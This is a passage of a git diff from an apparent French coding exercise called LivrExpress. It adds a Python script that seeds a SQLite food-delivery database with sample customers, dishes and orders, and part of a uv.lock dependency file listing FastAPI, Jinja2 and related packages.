créée il y a > 45min │ + │ free_delivery → True si total >= 25.0 € │ + │ is_premium → True si le client a >= 10 commandes au total │ + └─────────────────────────────────────────────────────────────────┘ + +Le middleware simule l'utilisateur connecté avec customer_id = 1 (Marie). +""" + +import sqlite3 +from datetime import datetime, timedelta + +DB_PATH = "livrexpress.db" +NOW = datetime.now() + + +# ───────────────────────────────────────────────────────────────────────────── +# Schéma +# ───────────────────────────────────────────────────────────────────────────── + +SCHEMA = """ +DROP TABLE IF EXISTS order_dishes; +DROP TABLE IF EXISTS orders; +DROP TABLE IF EXISTS dishes; +DROP TABLE IF EXISTS restaurants; +DROP TABLE IF EXISTS customers; + +CREATE TABLE customers ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + name TEXT NOT NULL, + email TEXT NOT NULL, + address TEXT NOT NULL +); + +CREATE TABLE restaurants ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + name TEXT NOT NULL +); + +CREATE TABLE dishes ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + name TEXT NOT NULL, + price REAL NOT NULL, + restaurant_id INTEGER NOT NULL, + FOREIGN KEY (restaurant_id) REFERENCES restaurants(id) +); + +CREATE TABLE orders ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + customer_id INTEGER NOT NULL, + restaurant_id INTEGER NOT NULL, + delivery_address TEXT NOT NULL, + created_at TEXT NOT NULL, + delivered_at TEXT, + FOREIGN KEY (customer_id) REFERENCES customers(id), + FOREIGN KEY (restaurant_id) REFERENCES restaurants(id) +); + +CREATE TABLE order_dishes ( + order_id INTEGER NOT NULL, + dish_id INTEGER NOT NULL, + FOREIGN KEY (order_id) REFERENCES orders(id), + FOREIGN KEY (dish_id) REFERENCES dishes(id) +); +""" + + +def seed(): + conn = sqlite3.connect(DB_PATH) + conn.executescript(SCHEMA) + c = conn.cursor() + + # ── Clients ────────────────────────────────────────────────────────────── + # Marie : 12 commandes au total → is_premium = True (seuil = 10) + # Lucas : 3 commandes au total → is_premium = False + c.execute("INSERT INTO customers (name, email, address) VALUES (?, ?, ?)", + ("Marie Dupont", "marie@example.com", "12 rue de la Paix, Paris")) + marie_id = c.lastrowid + c.execute("INSERT INTO customers (name, email, address) VALUES (?, ?, ?)", + ("Lucas Martin", "lucas@example.com", "5 avenue Montaigne, Paris")) + lucas_id = c.lastrowid + + # ── Restaurants ────────────────────────────────────────────────────────── + c.execute("INSERT INTO restaurants (name) VALUES (?)", ("Chez Mario",)) + mario_id = c.lastrowid + c.execute("INSERT INTO restaurants (name) VALUES (?)", ("Le Wok d'Or",)) + wok_id = c.lastrowid + c.execute("INSERT INTO restaurants (name) VALUES (?)", ("Burger Palace",)) + burger_id = c.lastrowid + + # ── Plats ──────────────────────────────────────────────────────────────── + dishes = [ + ("Margherita", 12.0, mario_id), # d1 + ("Quattro Stagioni", 14.5, mario_id), # d2 + ("Tiramisu", 6.0, mario_id), # d3 + ("Pad Thaï", 13.5, wok_id), # d4 + ("Nem croustillants", 8.0, wok_id), # d5 + ("Burger Classic", 11.0, burger_id), # d6 + ("Burger Double Bacon", 14.0, burger_id), # d7 + ("Frites maison", 4.5, burger_id), # d8 + ("Cheese Cake", 7.0, burger_id), # d9 + ] + dish_ids = [] + for name, price, rid in dishes: + c.execute("INSERT INTO dishes (name, price, restaurant_id) VALUES (?, ?, ?)", + (name, price, rid)) + dish_ids.append(c.lastrowid) + d1, d2, d3, d4, d5, d6, d7, d8, d9 = dish_ids + + # ── Commandes pour Marie (customer_id=1) ───────────────────────────────── + # On couvre tous les cas des règles métier : + # + # urgency is_late free_del dishes total + # -------- ------- -------- ---------------------- ----- + # normal False False Margherita 12.0 + # normal False True Quattro + Tiramisu 20.5 + # light_del False False Nem croustillants 8.0 + # light_del False True Pad Thaï + Nem 21.5 + # severe_del True False Burger Classic 11.0 + # severe_del True True Burger x2 + Frites + CC 40.5 + # delivered False True Margherita + Pad Thaï 25.5 + + order_specs = [ + # (label, restaurant_id, created_at_offset_min, delivered_offset_min, dish_list) + ("normal / pas chère", mario_id, -10, None, [d1]), + ("normal / livraison ok",mario_id, -20, None, [d2, d3]), + ("légère alerte", wok_id, -35, None, [d5]), + ("légère alerte + gratu",wok_id, -38, None, [d4, d5]), + ("retard / pas chère", burger_id, -60, None, [d6]), + ("retard / livraison ok",burger_id, -90, None, [d7, d7, d8, d9]), + ("livrée", mario_id, -50, -5, [d1, d4]), + ] + + marie_orders = [] + for label, rest_id, offset_min, delivered_offset, dish_list in order_specs: + created = NOW + timedelta(minutes=offset_min) + delivered = (NOW + timedelta(minutes=delivered_offset)).isoformat() if delivered_offset else None + c.execute( + "INSERT INTO orders (customer_id, restaurant_id, delivery_address, created_at, delivered_at)" + " VALUES (?, ?, ?, ?, ?)", + (marie_id, rest_id, "12 rue de la Paix, Paris", + created.isoformat(), delivered) + ) + order_id = c.lastrowid + for dish_id in dish_list: + c.execute("INSERT INTO order_dishes (order_id, dish_id) VALUES (?, ?)", + (order_id, dish_id)) + total = sum(price for name, price, rid in dishes + for did in dish_list if did == dish_ids[dishes.index((name, price, rid))]) + marie_orders.append((label, order_id, total, created, delivered, dish_list)) + + # Commandes historiques pour atteindre order_count >= 10 (Marie est premium) + # On en a déjà 7 ci-dessus, on en ajoute 5 dans le passé. + for i in range(5): + past = NOW - timedelta(days=30 + i) + c.execute( + "INSERT INTO orders (customer_id, restaurant_id, delivery_address, created_at, delivered_at)" + " VALUES (?, ?, ?, ?, ?)", + (marie_id, mario_id, "12 rue de la Paix, Paris", + past.isoformat(), (past + timedelta(minutes=35)).isoformat()) + ) + c.execute("INSERT INTO order_dishes (order_id, dish_id) VALUES (?, ?)", + (c.lastrowid, d1)) + + # ── Commandes pour Lucas (customer_id=2), non visibles via /my-orders ── + for i in range(3): + past = NOW - timedelta(days=5 + i) + c.execute( + "INSERT INTO orders (customer_id, restaurant_id, delivery_address, created_at, delivered_at)" + " VALUES (?, ?, ?, ?, ?)", + (lucas_id, burger_id, "5 avenue Montaigne, Paris", + past.isoformat(), (past + timedelta(minutes=40)).isoformat()) + ) + c.execute("INSERT INTO order_dishes (order_id, dish_id) VALUES (?, ?)", + (c.lastrowid, d6)) + + conn.commit() + conn.close() + + # ── Résumé ────────────────────────────────────────────────────────────── + print() + print("━" * 68) + print(" LivrExpress, Base de données peuplée") + print("━" * 68) + print(f"\n Heure actuelle : {NOW.strftime('%H:%M:%S')}") + print(f"\n CLIENTS") + print(f" #1 Marie Dupont , 12 commandes au total → 🌟 PREMIUM (seuil ≥ 10)") + print(f" #2 Lucas Martin , 3 commandes au total → non premium") + print(f"\n Client simulé par le middleware : customer_id = 1 (Marie)") + print(f"\n COMMANDES VISIBLES sur /my-orders (Marie, 7 commandes récentes)") + print(f"\n {'scénario':<26} {'total':>7} {'créée il y a':>13} {'urgency_level':<14} badges") + print(" " + "─" * 66) + + urgency_labels = { + "normal": "normal ", + "light_delay": "⚠️ light_delay ", + "severe_delay": "🔴 severe_delay", + "delivered": "✅ delivered ", + } + + for label, order_id, total, created, delivered, dish_list in marie_orders: + elapsed = (NOW - created).total_seconds() / 60 + if delivered: + ul = "delivered" + elif elapsed > 45: + ul = "severe_delay" + elif elapsed > 30: + ul = "light_delay" + else: + ul = "normal" + + badges = [] + if not delivered and elapsed > 45: + badges.append("⏰ is_late") + if total >= 25.0: + badges.append("🚚 free_delivery") + if delivered: + badges.append("livrée") + + age_str = f"{int(elapsed)}min ago" + print(f" {label:<26} {total:>6.1f}€ {age_str:>13} " + f"{urgency_labels[ul]} {', '.join(badges) if badges else '—'}") + + print(f"\n + 5 commandes anciennes (livrées, > 30 jours) pour atteindre order_count = 12") + print(f"\n COMMANDES Lucas (non visibles) : 3 commandes livrées") + print() + print(" ✓ Lancez l'app : uv run uvicorn main:app --reload") + print(" ✓ Commandes : http://localhost:8000/my-orders") + print("━" * 68) + print() + + +if __name__ == "__main__": + seed() \ No newline at end of file diff --git a/Semaine_08/livrexpress/uv.lock b/Semaine_08/livrexpress/uv.lock new file mode 100644 index 0000000..bcac84b --- /dev/null +++ b/Semaine_08/livrexpress/uv.lock @@ -0,0 +1,273 @@ +version = 1 +revision = 3 +requires-python = ">=3.12" + +[[package]] +name = "annotated-doc" +version = "0.0.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/57/ba/046ceea27344560984e26a590f90bc7f4a75b06701f653222458922b558c/annotated_doc-0.0.4.tar.gz", hash = "sha256:fbcda96e87e9c92ad167c2e53839e57503ecfda18804ea28102353485033faa4", size = 7288, upload-time = "2025-11-10T22:07:42.062Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1e/d3/26bf1008eb3d2daa8ef4cacc7f3bfdc11818d111f7e2d0201bc6e3b49d45/annotated_doc-0.0.4-py3-none-any.whl", hash = "sha256:571ac1dc6991c450b25a9c2d84a3705e2ae7a53467b5d111c24fa8baabbed320", size = 5303, upload-time = "2025-11-10T22:07:40.673Z" }, +] + +[[package]] +name = "annotated-types" +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ee/67/531ea369ba64dcff5ec9c3402f9f51bf748cec26dde048a2f973a4eea7f5/annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89", size = 16081, upload-time = "2024-05-20T21:33:25.928Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/78/b6/6307fbef88d9b5ee7421e68d78a9f162e0da4900bc5f5793f6d3d0e34fb8/annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53", size = 13643, upload-time = "2024-05-20T21:33:24.1Z" }, +] + +[[package]] +name = "anyio" +version = "4.13.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "idna" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/19/14/2c5dd9f512b66549ae92767a9c7b330ae88e1932ca57876909410251fe13/anyio-4.13.0.tar.gz", hash = "sha256:334b70e641fd2221c1505b3890c69882fe4a2df910cba14d97019b90b24439dc", size = 231622, upload-time = "2026-03-24T12:59:09.671Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/da/42/e921fccf5015463e32a3cf6ee7f980a6ed0f395ceeaa45060b61d86486c2/anyio-4.13.0-py3-none-any.whl", hash = "sha256:08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708", size = 114353, upload-time = "2026-03-24T12:59:08.246Z" }, +] + +[[package]] +name = "fastapi" +version = "0.135.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "annotated-doc" }, + { name = "pydantic" }, + { name = "starlette" }, + { name = "typing-extensions" }, + { name = "typing-inspection" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f7/e6/7adb4c5fa231e82c35b8f5741a9f2d055f520c29af5546fd70d3e8e1cd2e/fastapi-0.135.3.tar.gz", hash = "sha256:bd6d7caf1a2bdd8d676843cdcd2287729572a1ef524fc4d65c17ae002a1be654", size = 396524, upload-time = "2026-04-01T16:23:58.188Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/84/a4/5caa2de7f917a04ada20018eccf60d6cc6145b0199d55ca3711b0fc08312/fastapi-0.135.3-py3-none-any.whl", hash = "sha256:9b0f590c813acd13d0ab43dd8494138eb58e484bfac405db1f3187cfc5810d98", size = 117734, upload-time = "2026-04-01T16:23:59.328Z" }, +] + +[[package]] +name = "idna" +version = "3.11" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/6f/6d/0703ccc57f3a7233505399edb88de3cbd678da106337b9fcde432b65ed60/idna-3.11.tar.gz", hash = "sha256:795dafcc9c04ed0c1fb032c2aa73654d8e8c5023a7df64a53f39190ada629902", size = 194582, upload-time = "2025-10-12T14:55:20.501Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0e/61/66938bbb5fc52dbdf84594873d5b51fb1f7c7794e9c0f5bd885f30bc507b/idna-3.11-py3-none-any.whl", hash = "sha256:771a87f49d9defaf64091e6e6fe9c18d4833f140bd19464795bc32d966ca37ea", size = 71008, upload-time = "2025-10-12T14:55:18.883Z" }, +] + +[[package]] +name = "jinja2" +version = "3.1.6" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markupsafe" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/df/bf/f7da0350254c0ed7c72f3e33cef02e048281fec7ecec5f032d4aac52226b/jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d", size = 245115, upload-time = "2025-03-05T20:05:02.478Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/62/a1/3d680cbfd5f4b8f15abc1d571870c5fc3e594bb582bc3b64ea099db13e56/jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67", size = 134899, upload-time = "2025-03-05T20:05:00.369Z" }, +] + +[[package]] +name = "livrexpress" +version = "0.1.0" +source = { virtual = "." } +dependencies = [ + { name = "fastapi" }, + { name = "jinja2" }, +] + +[package.metadata] +requires-dist = [ + { name = "fastapi", specifier = ">=0.135.3" }, + { name = "jinja2", specifier = ">=3.1.6" }, +] + +[[package]] +name = "markupsafe" +version = "3.0.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7e/99/7690b6d4034fffd95959cbe0c02de8deb3098cc577c67bb6a24fe5d7caa7/markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698", size = 80313, upload-time = "2025-09-27T18:37:40.426Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5a/72/147da192e38635ada20e0a2e1a51cf8823d2119ce8883f7053879c2199b5/markupsafe-3.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d53197da72cc091b024dd97249dfc7794d6a56530370992a5e1a08983ad9230e", size = 11615, upload-time = "2025-09-27T18:36:30.854Z" }, + { url = "https://files.pythonhosted.org/packages/9a/81/7e4e08678a1f98521201c3079f77db69fb552acd56067661f8c2f534a718/markupsafe-3.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1872df69a4de6aead3491198eaf13810b565bdbeec3ae2dc8780f14458ec73ce", size = 12020, upload-time = "2025-09-27T18:36:31.971Z" }, + { url = "https://files.pythonhosted.org/packages/1e/2c/799f4742efc39633a1b54a92eec4082e4f815314869865d876824c257c1e/markupsafe-3.0.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a7e8ae81ae39e62a41ec302f972ba6ae23a5c5396c8e60113e9066ef893da0d", size = 24332, upload-time = "2025-09-27T18:36:32.813Z" }, + { url = "https://files.pythonhosted.org/packages/3c/2e/8d0c2ab90a8c1d9a24f0399058ab8519a3279d1bd4289511d74e909f060e/markupsafe-3.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d6dd0be5b5b189d31db7cda48b91d7e0a9795f31430b7f271219ab30f1d3ac9d", size = 22947, upload-time = "2025-09-27T18:36:33.86Z" }, + { url = "https://files.pythonhosted.org/packages/2c/54/887f3092a85238093a0b2154bd629c89444f395618842e8b0c41783898ea/markupsafe-3.0.3-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:94c6f0bb423f739146aec64595853541634bde58b2135f27f61c1ffd1cd4d16a", size = 21962, upload-time = "2025-09-27T18:36:35.099Z" }, + { url = "https://files.pythonhosted.org/packages/c9/2f/336b8c7b6f4a4d95e91119dc8521402461b74a485558d8f238a68312f11c/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:be8813b57049a7dc738189df53d69395eba14fb99345e0a5994914a3864c8a4b", size = 23760, upload-time = "2025-09-27T18:36:36.001Z" }, + { url = "https://files.pythonhosted.org/packages/32/43/67935f2b7e4982ffb50a4d169b724d74b62a3964bc1a9a527f5ac4f1ee2b/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:83891d0e9fb81a825d9a6d61e3f07550ca70a076484292a70fde82c4b807286f", size = 21529, upload-time = "2025-09-27T18:36:36.906Z" }, + { url = "https://files.pythonhosted.org/packages/89/e0/4486f11e51bbba8b0c041098859e869e304d1c261e59244baa3d295d47b7/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:77f0643abe7495da77fb436f50f8dab76dbc6e5fd25d39589a0f1fe6548bfa2b", size = 23015, upload-time = "2025-09-27T18:36:37.868Z" }, + { url = "https://files.pythonhosted.org/packages/2f/e1/78ee7a023dac597a5825441ebd17170785a9dab23de95d2c7508ade94e0e/markupsafe-3.0.3-cp312-cp312-win32.whl", hash = "sha256:d88b440e37a16e651bda4c7c2b930eb586fd15ca7406cb39e211fcff3bf3017d", size = 14540, upload-time = "2025-09-27T18:36:38.761Z" }, + { url = "https://files.pythonhosted.org/packages/aa/5b/bec5aa9bbbb2c946ca2733ef9c4ca91c91b6a24580193e891b5f7dbe8e1e/markupsafe-3.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:26a5784ded40c9e318cfc2bdb30fe164bdb8665ded9cd64d500a34fb42067b1c", size = 15105, upload-time = "2025-09-27T18:36:39.701Z" }, + { url = "https://files.pythonhosted.org/packages/e5/f1/216fc1bbfd74011693a4fd837e7026152e89c4bcf3e77b6692fba9923123/markupsafe-3.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:35add3b638a5d900e807944a078b51922212fb3dedb01633a8defc4b01a3c85f", size = 13906, upload-time = "2025-09-27T18:36:40.689Z" }, + { url = "https://files.pythonhosted.org/packages/38/2f/907b9c7bbba283e68f20259574b13d005c121a0fa4c175f9bed27c4597ff/markupsafe-3.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e1cf1972137e83c5d4c136c43ced9ac51d0e124706ee1c8aa8532c1287fa8795", size = 11622, upload-time = "2025-09-27T18:36:41.777Z" }, + { url = "https://files.pythonhosted.org/packages/9c/d9/5f7756922cdd676869eca1c4e3c0cd0df60ed30199ffd775e319089cb3ed/markupsafe-3.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:116bb52f642a37c115f517494ea5feb03889e04df47eeff5b130b1808ce7c219", size = 12029, upload-time = "2025-09-27T18:36:43.257Z" }, + { url = "https://files.pythonhosted.org/packages/00/07/575a68c754943058c78f30db02ee03a64b3c638586fba6a6dd56830b30a3/markupsafe-3.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:133a43e73a802c5562be9bbcd03d090aa5a1fe899db609c29e8c8d815c5f6de6", size = 24374, upload-time = "2025-09-27T18:36:44.508Z" }, + { url = "https://files.pythonhosted.org/packages/a9/21/9b05698b46f218fc0e118e1f8168395c65c8a2c750ae2bab54fc4bd4e0e8/markupsafe-3.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ccfcd093f13f0f0b7fdd0f198b90053bf7b2f02a3927a30e63f3ccc9df56b676", size = 22980, upload-time = "2025-09-27T18:36:45.385Z" }, + { url = "https://files.pythonhosted.org/packages/7f/71/544260864f893f18b6827315b988c146b559391e6e7e8f7252839b1b846a/markupsafe-3.0.3-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:509fa21c6deb7a7a273d629cf5ec029bc209d1a51178615ddf718f5918992ab9", size = 21990, upload-time = "2025-09-27T18:36:46.916Z" }, + { url = "https://files.pythonhosted.org/packages/c2/28/b50fc2f74d1ad761af2f5dcce7492648b983d00a65b8c0e0cb457c82ebbe/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a4afe79fb3de0b7097d81da19090f4df4f8d3a2b3adaa8764138aac2e44f3af1", size = 23784, upload-time = "2025-09-27T18:36:47.884Z" }, + { url = "https://files.pythonhosted.org/packages/ed/76/104b2aa106a208da8b17a2fb72e033a5a9d7073c68f7e508b94916ed47a9/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:795e7751525cae078558e679d646ae45574b47ed6e7771863fcc079a6171a0fc", size = 21588, upload-time = "2025-09-27T18:36:48.82Z" }, + { url = "https://files.pythonhosted.org/packages/b5/99/16a5eb2d140087ebd97180d95249b00a03aa87e29cc224056274f2e45fd6/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:8485f406a96febb5140bfeca44a73e3ce5116b2501ac54fe953e488fb1d03b12", size = 23041, upload-time = "2025-09-27T18:36:49.797Z" }, + { url = "https://files.pythonhosted.org/packages/19/bc/e7140ed90c5d61d77cea142eed9f9c303f4c4806f60a1044c13e3f1471d0/markupsafe-3.0.3-cp313-cp313-win32.whl", hash = "sha256:bdd37121970bfd8be76c5fb069c7751683bdf373db1ed6c010162b2a130248ed", size = 14543, upload-time = "2025-09-27T18:36:51.584Z" }, + { url = "https://files.pythonhosted.org/packages/05/73/c4abe620b841b6b791f2edc248f556900667a5a1cf023a6646967ae98335/markupsafe-3.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:9a1abfdc021a164803f4d485104931fb8f8c1efd55bc6b748d2f5774e78b62c5", size = 15113, upload-time = "2025-09-27T18:36:52.537Z" }, + { url = "https://files.pythonhosted.org/packages/f0/3a/fa34a0f7cfef23cf9500d68cb7c32dd64ffd58a12b09225fb03dd37d5b80/markupsafe-3.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:7e68f88e5b8799aa49c85cd116c932a1ac15caaa3f5db09087854d218359e485", size = 13911, upload-time = "2025-09-27T18:36:53.513Z" }, + { url = "https://files.pythonhosted.org/packages/e4/d7/e05cd7efe43a88a17a37b3ae96e79a19e846f3f456fe79c57ca61356ef01/markupsafe-3.0.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:218551f6df4868a8d527e3062d0fb968682fe92054e89978594c28e642c43a73", size = 11658, upload-time = "2025-09-27T18:36:54.819Z" }, + { url = "https://files.pythonhosted.org/packages/99/9e/e412117548182ce2148bdeacdda3bb494260c0b0184360fe0d56389b523b/markupsafe-3.0.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:3524b778fe5cfb3452a09d31e7b5adefeea8c5be1d43c4f810ba09f2ceb29d37", size = 12066, upload-time = "2025-09-27T18:36:55.714Z" }, + { url = "https://files.pythonhosted.org/packages/bc/e6/fa0ffcda717ef64a5108eaa7b4f5ed28d56122c9a6d70ab8b72f9f715c80/markupsafe-3.0.3-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4e885a3d1efa2eadc93c894a21770e4bc67899e3543680313b09f139e149ab19", size = 25639, upload-time = "2025-09-27T18:36:56.908Z" }, + { url = "https://files.pythonhosted.org/packages/96/ec/2102e881fe9d25fc16cb4b25d5f5cde50970967ffa5dddafdb771237062d/markupsafe-3.0.3-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8709b08f4a89aa7586de0aadc8da56180242ee0ada3999749b183aa23df95025", size = 23569, upload-time = "2025-09-27T18:36:57.913Z" }, + { url = "https://files.pythonhosted.org/packages/4b/30/6f2fce1f1f205fc9323255b216ca8a235b15860c34b6798f810f05828e32/markupsafe-3.0.3-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b8512a91625c9b3da6f127803b166b629725e68af71f8184ae7e7d54686a56d6", size = 23284, upload-time = "2025-09-27T18:36:58.833Z" }, + { url = "https://files.pythonhosted.org/packages/58/47/4a0ccea4ab9f5dcb6f79c0236d954acb382202721e704223a8aafa38b5c8/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9b79b7a16f7fedff2495d684f2b59b0457c3b493778c9eed31111be64d58279f", size = 24801, upload-time = "2025-09-27T18:36:59.739Z" }, + { url = "https://files.pythonhosted.org/packages/6a/70/3780e9b72180b6fecb83a4814d84c3bf4b4ae4bf0b19c27196104149734c/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:12c63dfb4a98206f045aa9563db46507995f7ef6d83b2f68eda65c307c6829eb", size = 22769, upload-time = "2025-09-27T18:37:00.719Z" }, + { url = "https://files.pythonhosted.org/packages/98/c5/c03c7f4125180fc215220c035beac6b9cb684bc7a067c84fc69414d315f5/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8f71bc33915be5186016f675cd83a1e08523649b0e33efdb898db577ef5bb009", size = 23642, upload-time = "2025-09-27T18:37:01.673Z" }, + { url = "https://files.pythonhosted.org/packages/80/d6/2d1b89f6ca4bff1036499b1e29a1d02d282259f3681540e16563f27ebc23/markupsafe-3.0.3-cp313-cp313t-win32.whl", hash = "sha256:69c0b73548bc525c8cb9a251cddf1931d1db4d2258e9599c28c07ef3580ef354", size = 14612, upload-time = "2025-09-27T18:37:02.639Z" }, + { url = "https://files.pythonhosted.org/packages/2b/98/e48a4bfba0a0ffcf9925fe2d69240bfaa19c6f7507b8cd09c70684a53c1e/markupsafe-3.0.3-cp313-cp313t-win_amd64.whl", hash = "sha256:1b4b79e8ebf6b55351f0d91fe80f893b4743f104bff22e90697db1590e47a218", size = 15200, upload-time = "2025-09-27T18:37:03.582Z" }, + { url = "https://files.pythonhosted.org/packages/0e/72/e3cc540f351f316e9ed0f092757459afbc595824ca724cbc5a5d4263713f/markupsafe-3.0.3-cp313-cp313t-win_arm64.whl", hash = "sha256:ad2cf8aa28b8c020ab2fc8287b0f823d0a7d8630784c31e9ee5edea20f406287", size = 13973, upload-time = "2025-09-27T18:37:04.929Z" }, + { url = "https://files.pythonhosted.org/packages/33/8a/8e42d4838cd89b7dde187011e97fe6c3af66d8c044997d2183fbd6d31352/markupsafe-3.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:eaa9599de571d72e2daf60164784109f19978b327a3910d3e9de8c97b5b70cfe", size = 11619, upload-time = "2025-09-27T18:37:06.342Z" }, + { url = "https://files.pythonhosted.org/packages/b5/64/7660f8a4a8e53c924d0fa05dc3a55c9cee10bbd82b11c5afb27d44b096ce/markupsafe-3.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c47a551199eb8eb2121d4f0f15ae0f923d31350ab9280078d1e5f12b249e0026", size = 12029, upload-time = "2025-09-27T18:37:07.213Z" }, + { url = "https://files.pythonhosted.org/packages/da/ef/e648bfd021127bef5fa12e1720ffed0c6cbb8310c8d9bea7266337ff06de/markupsafe-3.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f34c41761022dd093b4b6896d4810782ffbabe30f2d443ff5f083e0cbbb8c737", size = 24408, upload-time = "2025-09-27T18:37:09.572Z" }, + { url = "https://files.pythonhosted.org/packages/41/3c/a36c2450754618e62008bf7435ccb0f88053e07592e6028a34776213d877/markupsafe-3.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:457a69a9577064c05a97c41f4e65148652db078a3a509039e64d3467b9e7ef97", size = 23005, upload-time = "2025-09-27T18:37:10.58Z" }, + { url = "https://files.pythonhosted.org/packages/bc/20/b7fdf89a8456b099837cd1dc21974632a02a999ec9bf7ca3e490aacd98e7/markupsafe-3.0.3-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e8afc3f2ccfa24215f8cb28dcf43f0113ac3c37c2f0f0806d8c70e4228c5cf4d", size = 22048, upload-time = "2025-09-27T18:37:11.547Z" }, + { url = "https://files.pythonhosted.org/packages/9a/a7/591f592afdc734f47db08a75793a55d7fbcc6902a723ae4cfbab61010cc5/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ec15a59cf5af7be74194f7ab02d0f59a62bdcf1a537677ce67a2537c9b87fcda", size = 23821, upload-time = "2025-09-27T18:37:12.48Z" }, + { url = "https://files.pythonhosted.org/packages/7d/33/45b24e4f44195b26521bc6f1a82197118f74df348556594bd2262bda1038/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:0eb9ff8191e8498cca014656ae6b8d61f39da5f95b488805da4bb029cccbfbaf", size = 21606, upload-time = "2025-09-27T18:37:13.485Z" }, + { url = "https://files.pythonhosted.org/packages/ff/0e/53dfaca23a69fbfbbf17a4b64072090e70717344c52eaaaa9c5ddff1e5f0/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2713baf880df847f2bece4230d4d094280f4e67b1e813eec43b4c0e144a34ffe", size = 23043, upload-time = "2025-09-27T18:37:14.408Z" }, + { url = "https://files.pythonhosted.org/packages/46/11/f333a06fc16236d5238bfe74daccbca41459dcd8d1fa952e8fbd5dccfb70/markupsafe-3.0.3-cp314-cp314-win32.whl", hash = "sha256:729586769a26dbceff69f7a7dbbf59ab6572b99d94576a5592625d5b411576b9", size = 14747, upload-time = "2025-09-27T18:37:15.36Z" }, + { url = 